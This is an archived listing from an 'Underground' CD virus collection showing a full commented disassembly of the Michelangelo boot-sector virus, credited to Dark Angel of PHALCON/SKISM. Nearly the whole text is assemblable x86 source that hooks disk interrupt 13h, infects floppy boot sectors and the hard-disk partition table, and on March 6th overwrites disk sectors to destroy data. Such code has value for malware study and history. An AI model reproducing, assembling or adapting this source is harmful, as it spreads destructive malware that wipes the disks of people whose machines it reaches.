home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / m / michael.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  7.0 KB  |  235 lines

  1.  
  2.  
  3. ; This is a disassembly of the much-hyped michelangelo virus.
  4.  
  5. ; As you can see, it is a derivative of the Stoned virus.  The
  6.  
  7. ; junk bytes at the end of the file are probably throwbacks to
  8.  
  9. ; the Stoned virus.  In any case, it is yet another boot sector
  10.  
  11. ; and partition table infector.
  12.  
  13.  
  14.  
  15. michelangelo    segment byte public
  16.  
  17.         assume  cs:michelangelo, ds:michelangelo
  18.  
  19. ; Disassembly by Dark Angel of PHALCON/SKISM
  20.  
  21.         org     0
  22.  
  23.  
  24.  
  25.         jmp     entervirus
  26.  
  27. highmemjmp      db      0F5h, 00h, 80h, 9Fh
  28.  
  29. maxhead         db      2                       ; used by damagestuff
  30.  
  31. firstsector     dw      3
  32.  
  33. oldint13h       dd      0C8000256h
  34.  
  35.  
  36.  
  37. int13h:
  38.  
  39.         push    ds
  40.  
  41.         push    ax
  42.  
  43.         or      dl, dl                  ; default drive?
  44.  
  45.         jnz     exitint13h              ; exit if not
  46.  
  47.         xor     ax, ax
  48.  
  49.         mov     ds, ax
  50.  
  51.         test    byte ptr ds:[43fh], 1   ; disk 0 on?
  52.  
  53.         jnz     exitint13h              ; if not spinning, exit
  54.  
  55.         pop     ax
  56.  
  57.         pop     ds
  58.  
  59.         pushf
  60.  
  61.         call    dword ptr cs:[oldint13h]; first call old int 13h
  62.  
  63.         pushf
  64.  
  65.         call    infectdisk              ; then infect
  66.  
  67.         popf
  68.  
  69.         retf    2
  70.  
  71. exitint13h:     pop     ax
  72.  
  73.         pop     ds
  74.  
  75.         jmp     dword ptr cs:[oldint13h]
  76.  
  77.  
  78.  
  79. infectdisk:
  80.  
  81.         push    ax
  82.  
  83.         push    bx
  84.  
  85.         push    cx
  86.  
  87.         push    dx
  88.  
  89.         push    ds
  90.  
  91.         push    es
  92.  
  93.         push    si
  94.  
  95.         push    di
  96.  
  97.         push    cs
  98.  
  99.         pop     ds
  100.  
  101.         push    cs
  102.  
  103.         pop     es
  104.  
  105.         mov     si, 4
  106.  
  107. readbootblock:
  108.  
  109.         mov     ax,201h                 ; Read boot block to
  110.  
  111.         mov     bx,200h                 ; after virus
  112.  
  113.         mov     cx,1
  114.  
  115.         xor     dx,dx
  116.  
  117.         pushf
  118.  
  119.         call    oldint13h
  120.  
  121.         jnc     checkinfect             ; continue if no error
  122.  
  123.         xor     ax,ax
  124.  
  125.         pushf
  126.  
  127.         call    oldint13h               ; Reset disk
  128.  
  129.         dec     si                      ; loop back
  130.  
  131.         jnz     readbootblock
  132.  
  133.         jmp     short quitinfect        ; exit if too many failures
  134.  
  135. checkinfect:
  136.  
  137.         xor     si,si
  138.  
  139.         cld
  140.  
  141.         lodsw
  142.  
  143.         cmp     ax,[bx]                 ; check if already infected
  144.  
  145.         jne     infectitnow
  146.  
  147.         lodsw
  148.  
  149.         cmp     ax,[bx+2]               ; check again
  150.  
  151.         je      quitinfect
  152.  
  153. infectitnow:
  154.  
  155.         mov     ax,301h                 ; Write old boot block
  156.  
  157.         mov     dh,1                    ; to head 1
  158.  
  159.         mov     cl,3                    ; sector 3
  160.  
  161.         cmp     byte ptr [bx+15h],0FDh  ; 360k disk?
  162.  
  163.         je      is360Kdisk
  164.  
  165.         mov     cl,0Eh
  166.  
  167. is360Kdisk:
  168.  
  169.         mov     firstsector,cx
  170.  
  171.         pushf
  172.  
  173.         call    oldint13h
  174.  
  175.         jc      quitinfect              ; exit on error
  176.  
  177.         mov     si,200h+offset partitioninfo
  178.  
  179.         mov     di,offset partitioninfo
  180.  
  181.         mov     cx,21h                  ; Copy partition table
  182.  
  183.         cld
  184.  
  185.         rep     movsw
  186.  
  187.         mov     ax,301h                 ; Write virus to sector 1
  188.  
  189.         xor     bx,bx
  190.  
  191.         mov     cx,1
  192.  
  193.         xor     dx,dx
  194.  
  195.         pushf
  196.  
  197.         call    oldint13h
  198.  
  199. quitinfect:
  200.  
  201.         pop     di
  202.  
  203.         pop     si
  204.  
  205.         pop     es
  206.  
  207.         pop     ds
  208.  
  209.         pop     dx
  210.  
  211.         pop     cx
  212.  
  213.         pop     bx
  214.  
  215.         pop     ax
  216.  
  217.         retn
  218.  
  219. entervirus:
  220.  
  221.         xor     ax,ax
  222.  
  223.         mov     ds,ax
  224.  
  225.         cli
  226.  
  227.         mov     ss,ax
  228.  
  229.         mov     ax,7C00h                ; Set stack to just below
  230.  
  231.         mov     sp,ax                   ; virus load point
  232.  
  233.         sti
  234.  
  235.         push    ds                      ; save 0:7C00h on stack for
  236.  
  237.         push    ax                      ; later retf
  238.  
  239.         mov     ax,ds:[13h*4]
  240.  
  241.         mov     word ptr ds:[7C00h+offset oldint13h],ax
  242.  
  243.         mov     ax,ds:[13h*4+2]
  244.  
  245.         mov     word ptr ds:[7C00h+offset oldint13h+2],ax
  246.  
  247.         mov     ax,ds:[413h]            ; memory size in K
  248.  
  249.         dec     ax                      ; 1024 K
  250.  
  251.         dec     ax
  252.  
  253.         mov     ds:[413h],ax            ; move new value in
  254.  
  255.         mov     cl,6
  256.  
  257.         shl     ax,cl                   ; ax = paragraphs of memory
  258.  
  259.         mov     es,ax                   ; next line sets seg of jmp
  260.  
  261.         mov     word ptr ds:[7C00h+2+offset highmemjmp],ax
  262.  
  263.         mov     ax,offset int13h
  264.  
  265.         mov     ds:[13h*4],ax
  266.  
  267.         mov     ds:[13h*4+2],es
  268.  
  269.         mov     cx,offset partitioninfo
  270.  
  271.         mov     si,7C00h
  272.  
  273.         xor     di,di
  274.  
  275.         cld
  276.  
  277.         rep     movsb                   ; copy to high memory
  278.  
  279.                         ; and transfer control there
  280.  
  281.         jmp     dword ptr cs:[7C00h+offset highmemjmp]
  282.  
  283. ; destination of highmem jmp
  284.  
  285.         xor     ax,ax
  286.  
  287.         mov     es,ax
  288.  
  289.         int     13h                     ; reset disk
  290.  
  291.         push    cs
  292.  
  293.         pop     ds
  294.  
  295.         mov     ax,201h
  296.  
  297.         mov     bx,7C00h
  298.  
  299.         mov     cx,firstsector
  300.  
  301.         cmp     cx,7                    ; hard disk infection?
  302.  
  303.         jne     floppyboot              ; if not, do floppies
  304.  
  305.         mov     dx,80h                  ; Read old partition table of
  306.  
  307.         int     13h                     ; first hard disk to 0:7C00h
  308.  
  309.         jmp     short exitvirus
  310.  
  311. floppyboot:
  312.  
  313.         mov     cx,firstsector          ; read old boot block
  314.  
  315.         mov     dx,100h                 ; to 0:7C00h
  316.  
  317.         int     13h
  318.  
  319.         jc      exitvirus
  320.  
  321.         push    cs
  322.  
  323.         pop     es
  324.  
  325.         mov     ax,201h                 ; read boot block
  326.  
  327.         mov     bx,200h                 ; of first hard disk
  328.  
  329.         mov     cx,1
  330.  
  331.         mov     dx,80h
  332.  
  333.         int     13h
  334.  
  335.         jc      exitvirus
  336.  
  337.         xor     si,si
  338.  
  339.         cld
  340.  
  341.         lodsw
  342.  
  343.         cmp     ax,[bx]                 ; is it infected?
  344.  
  345.         jne     infectharddisk          ; if not, infect HD
  346.  
  347.         lodsw                           ; check infection
  348.  
  349.         cmp     ax,[bx+2]
  350.  
  351.         jne     infectharddisk
  352.  
  353. exitvirus:
  354.  
  355.         xor     cx,cx                   ; Real time clock get date
  356.  
  357.         mov     ah,4                    ; dx = mon/day
  358.  
  359.         int     1Ah
  360.  
  361.         cmp     dx,306h                 ; March 6th
  362.  
  363.         je      damagestuff
  364.  
  365.         retf                            ; return control to original
  366.  
  367.                         ; boot block @ 0:7C00h
  368.  
  369. damagestuff:
  370.  
  371.         xor     dx,dx
  372.  
  373.         mov     cx,1
  374.  
  375. smashanothersector:
  376.  
  377.         mov     ax,309h
  378.  
  379.         mov     si,firstsector
  380.  
  381.         cmp     si,3
  382.  
  383.         je      smashit
  384.  
  385.         mov     al,0Eh
  386.  
  387.         cmp     si,0Eh
  388.  
  389.         je      smashit
  390.  
  391.         mov     dl,80h                  ; first hard disk
  392.  
  393.         mov     maxhead,4
  394.  
  395.         mov     al,11h
  396.  
  397. smashit:
  398.  
  399.         mov     bx,5000h                ; random memory area
  400.  
  401.         mov     es,bx                   ; at 5000h:5000h
  402.  
  403.         int     13h                     ; Write al sectors to drive dl
  404.  
  405.         jnc     skiponerror             ; skip on error
  406.  
  407.         xor     ah,ah                   ; Reset disk drive dl
  408.  
  409.         int     13h
  410.  
  411. skiponerror:
  412.  
  413.         inc     dh                      ; next head
  414.  
  415.         cmp     dh,maxhead              ; 2 if floppy, 4 if HD
  416.  
  417.         jb      smashanothersector
  418.  
  419.         xor     dh,dh                   ; go to next head/cylinder
  420.  
  421.         inc     ch
  422.  
  423.         jmp     short smashanothersector
  424.  
  425. infectharddisk:
  426.  
  427.         mov     cx,7                    ; Write partition table to
  428.  
  429.         mov     firstsector,cx          ; sector 7
  430.  
  431.         mov     ax,301h
  432.  
  433.         mov     dx,80h
  434.  
  435.         int     13h
  436.  
  437.         jc      exitvirus
  438.  
  439.         mov     si,200h+offset partitioninfo ; Copy partition
  440.  
  441.         mov     di,offset partitioninfo      ; table information
  442.  
  443.         mov     cx,21h
  444.  
  445.         rep     movsw
  446.  
  447.         mov     ax,301h                 ; Write to sector 8
  448.  
  449.         xor     bx,bx                   ; Copy virus to sector 1
  450.  
  451.         inc     cl
  452.  
  453.         int     13h
  454.  
  455. ;*              jmp     short 01E0h
  456.  
  457.         db      0EBh, 32h               ; ?This should crash?
  458.  
  459. ; The following bytes are meaningless.
  460.  
  461. garbage         db      1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
  462.  
  463. partitioninfo:  db      42h dup (0)
  464.  
  465. michelangelo    ends
  466.  
  467.         end
  468.  
  469.